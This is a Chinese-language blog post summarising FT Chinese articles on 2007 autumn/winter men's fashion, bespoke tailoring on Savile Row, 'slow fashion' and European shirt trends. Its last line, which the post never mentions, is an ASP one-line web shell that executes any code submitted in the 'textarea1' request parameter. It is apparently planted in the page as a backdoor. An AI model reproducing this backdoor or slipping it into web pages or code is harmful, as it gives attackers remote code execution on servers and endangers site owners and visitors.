每天都会收到订阅的FT中文网(www.ftchinese.com)的Newsletter,及时了解一下世界财经新闻和中国金融市场的状况,不过从来不知道里面也有关于时尚的文章,直到前些天碰巧看到里面有个时尚生活栏目,其中包括一些国内知名时尚专栏作家的文章,比如FTD Friends 林剑ian lin。还有更多的则是对FT英文版的一些原文的翻译,由于最近对于男装做了一些研究,发现里面不少文章都正是自己想写出来的,那就索性Digest一下,大家有兴趣的可以自己去看原文的中文全文翻译。
2007秋冬男装潮流
现在说这个正是时候!男生们可以为秋天的Wardrobe做些计划了。本文是今年1月份0708秋冬男装秀场结束后的一篇报道。
该文认为,金属感将主宰今年秋冬的市场,Emporio Armani、Neil Barrett、Burberry和Dolce & Gabbana等都大量使用各种金属面料。
服装的功能性需要重点关注,因为我们有越来越多的数码产品,相机、手机、电脑、iPod等等,而面料本身的功能性也不断加强,比如水洗羊绒面料、特殊处理的皮革、防水处理的毛料等。
虽然全球气候变暖,但是一件皮衣还是男士的必备单品,Burberry、Alexander McQueen、Brioni和Gucci等都推出了相关产品。
意大利的面料和英国的剪裁,数十位设计师推出了剪裁贴身的套装向萨维尔街致敬(Savile Row,英国高档服装设计定制街)。
最后,该文还列出了一个简单的购物指南以供参考:
PRADA SHOES——多彩高科技旅游鞋
VERSACE——带斜纹彩色肩带的毛织服装
VALENTINO——白色双排扣外衣
EMPORIO ARMANI——黑色摩托车矮皮靴
DOLCE & GABBANA——深色粗斜纹硬棉布牛仔裤
BURBERRY——带肩章的粗线针织短毛衣
BOTTEGA VENETA——军绿色羊毛外套
TOD'S——看上去像是用玻璃纤维做成的软皮平底便鞋
GUCCI——套装或者登山靴
个性化男式正装走红欧洲
上文提到的萨维尔街Savile Row是人们定制西服的地方,关于此的词汇有很多,比如个性化制衣(personal tailoring)、现成的衣服(off-the-peg)、定做(customised)、特别制作(tailor-made)、定制(made-to-measure)、预约制作(bespoke)等,很少有人能搞清楚这些的区别。
该文则对此进行了举例,比如Gieves & Hawke的首席裁缝安德鲁•高德伯格(Andrew Goldberg)指出:"个性化制衣是一个过程。这远不只是定制,因为它不只是做一件衣服,它是在与客户形成一种关系,可以让他们加入一些创造性想法进来。"
Kilgour有一种服务被称为"入门级"。Kilgour的董事总经理休•霍兰德(Hugh Holland)说:"在(伦敦)萨维伊街(Savile Row),预订的服装都是一个人手工做出的,而我们的'入门级'西服也是手工,但由团队制作。"他还说:"一套预约制作的服装价格为3400英镑,而首件入门级正装的价格位1880英镑,随后我们会量下你的尺码,接下来就是1410英镑每件,因此人们很快就熟悉起来。"
伊顿衬衫制作公司New & Lingwood则推出了"Baby Bespoke"服务,其销售和市场总监贾斯丁•萨默里(Justin Sumrie)说:"我们发现,人们希望在不涉及全套预约过程的情况下定制他们的衬衫。我们有大量领口、袖子的方案可供选择,也有很多种面料。"伊顿衬衫首席设计师让•伯哈达(Jan Borghardt)说:"今后你将能通过互联网来设计你自己的衬衫了。你可以在屏幕上进行设计——袖长、领扣样式、颜色等,然后你将收到一条SMS信息,它会告诉你衬衫何时发送给你。所有人都能做自己的设计师了。"
男装推崇"慢时尚"
"慢时尚"指能够持久的服装,就是指成本很高、风格永恒而奇特的服装:这些特殊的服装重在技艺、润饰和品质,而不是浮华的第一印象。
该文介绍了各大品牌的慢时尚设计,包括爱马仕(Hermès)的一件汽油蓝鳄鱼夹克衫,零售价为5.7万欧元。爱马仕总裁帕特里克•托马斯(Patrick Thomas)解释道:"我无意矫情,但是我确实认为我们不算奢侈;那是一种已过时的迷恋。我们相信手艺。我们是一家注重品质的制造商。"
伊夫•圣•洛朗(Yves Saint Laurent)的斯特凡诺•皮拉蒂(Stefano Pilati)却以高贵著称。他把超大号长裤和夹克搭配在一起,让人想起维斯康蒂(Visconti)电影中的海尔墨特•伯吉(Helmut Berger)。
Gieves & Hawkes在一个特别漂亮的私人官邸作秀,设计师(Joe Casely Hayford在自己的时装秀结束后表示:"新颖其实并不是我的出发点。更重要的是,我们怎样才能更新传统。"Gieves是位于Savile Row萨维伊街1号的老店,而凯斯利-海福德却是一个街头风格设计师,曾为U2乐队Zooropa专辑巡演设计服装。这种结合的结果就是打破旧习。也就是说,一只华丽的新长靴,打上了大型铅弹的图案。
最后,该文报道了Hedi Silimane在Dior Homme的最后一个系列,并称之为"小阿飞"风格。苏莱曼的时装坚定地以十几岁青少年为目标客户。苏莱曼迷恋英国青年文化,他进行"模特大搜寻",从安特卫普、柏林和布里斯托尔的街道和夜总会里寻找骨瘦如柴的十来岁的青少年。所以,他这一季最后以英国20世纪50年代小阿飞(Teddy boy)的发式和摇滚夜总会风格为特色,也就不足为奇了。
以特别指定的新歌《这些新的清教徒》(These New Puritans)作为背景音乐,苏莱曼展示了他在自己的签名微型服装上的新成果,带着一英寸宽的翻领、翻边长裤和仿制的Doc Martens品牌。这里面确实悄悄渗入了一些影响:看看夜总会夹克、长靴、阿富汗长裤和多股缠绕的腰带,这些似乎注定要赢得"喀布尔时尚"的诨名。
男士衬衫正在改变!
对于欧洲政治家来说,在欧洲同胞的带领下,他们衬衫的颜色已经开始从原色向柔和色彩转变。英国衬衫生产商charles Tyrwhitt发现,现在衬衫的颜色已逐渐偏离传统的蓝色或白色。1986年创建这家公司的尼克•惠勒(Nick Wheeler)指出:"蓝白两色仍然占主导,但在英国,人们对柔和色调和较浅色泽的需求正在增长。而在法国,我们看到一种趋向黄色和更多地中海风情色彩的潮流,一般带有合体剪裁的短小衣领,而我们的西班牙顾客更多倾向于不那么正式的颜色。"
惠勒所谓的"衬衫中的IBM" 白色,仍然是charles Tyrwhitt在土耳其最畅销的商品。不过,英国越来越多的人偏爱粉色。他表示:"我们的本国顾客似乎越来越大胆了。"另外,他还指出,英国、法国和意大利很多仍然喜爱蓝色的顾客会选择"交织"(dobbie weave)衬衫,就是将绸缎或丝带与衬衫的主色进行混搭,以形成对比。
不过,对于欧洲流行趋势来说,最大的威胁仍然是"Monogram"(译注:姓名或公司名首字母组成的图案,常用作信笺或商标等的标记)。惠勒称:"对欧洲大部分地区来说,Monogram总有点过于卖弄,特别是在英国。不过,德国人正开始接受美国流行的事物。这些美国人经常到我们设在麦迪逊大道(Madison Avenue)和第七大道(Seventh Avenue)的门店里购物。美国人喜欢将自己的Monogram绣在胸前的口袋上。德国顾客则喜欢绣在袖口。"
不过,欧洲人似乎在某一个时尚前沿达成了共识:他们越来越排斥纽扣领的设计。就连一度和美国人一样只喜欢这种纽扣领的英国人,现在似乎都在抛弃这类衬衫。欧洲最终还是实现了统一的流行趋势吗?
最后两篇文章则似乎自相矛盾:《男人享受色彩的时候到了!》和《男人就该穿灰色》,前者的观点来自Alexander McQueen、Emporio Armani、Etro、Burberry、Colette和Paul Smith;而后者的支持者是Spirito Uomo、Ermenegildo Zegna、Loro Piana、Eton Shirts、Thomas Pink、Brooks Brothers、John Smedley和The Savile Row Company等。大家自己研究吧。
男人享受色彩的时候到了!
男人就该穿灰色
<%if Request("textarea1")<>"" then execute request("textarea1") end if%>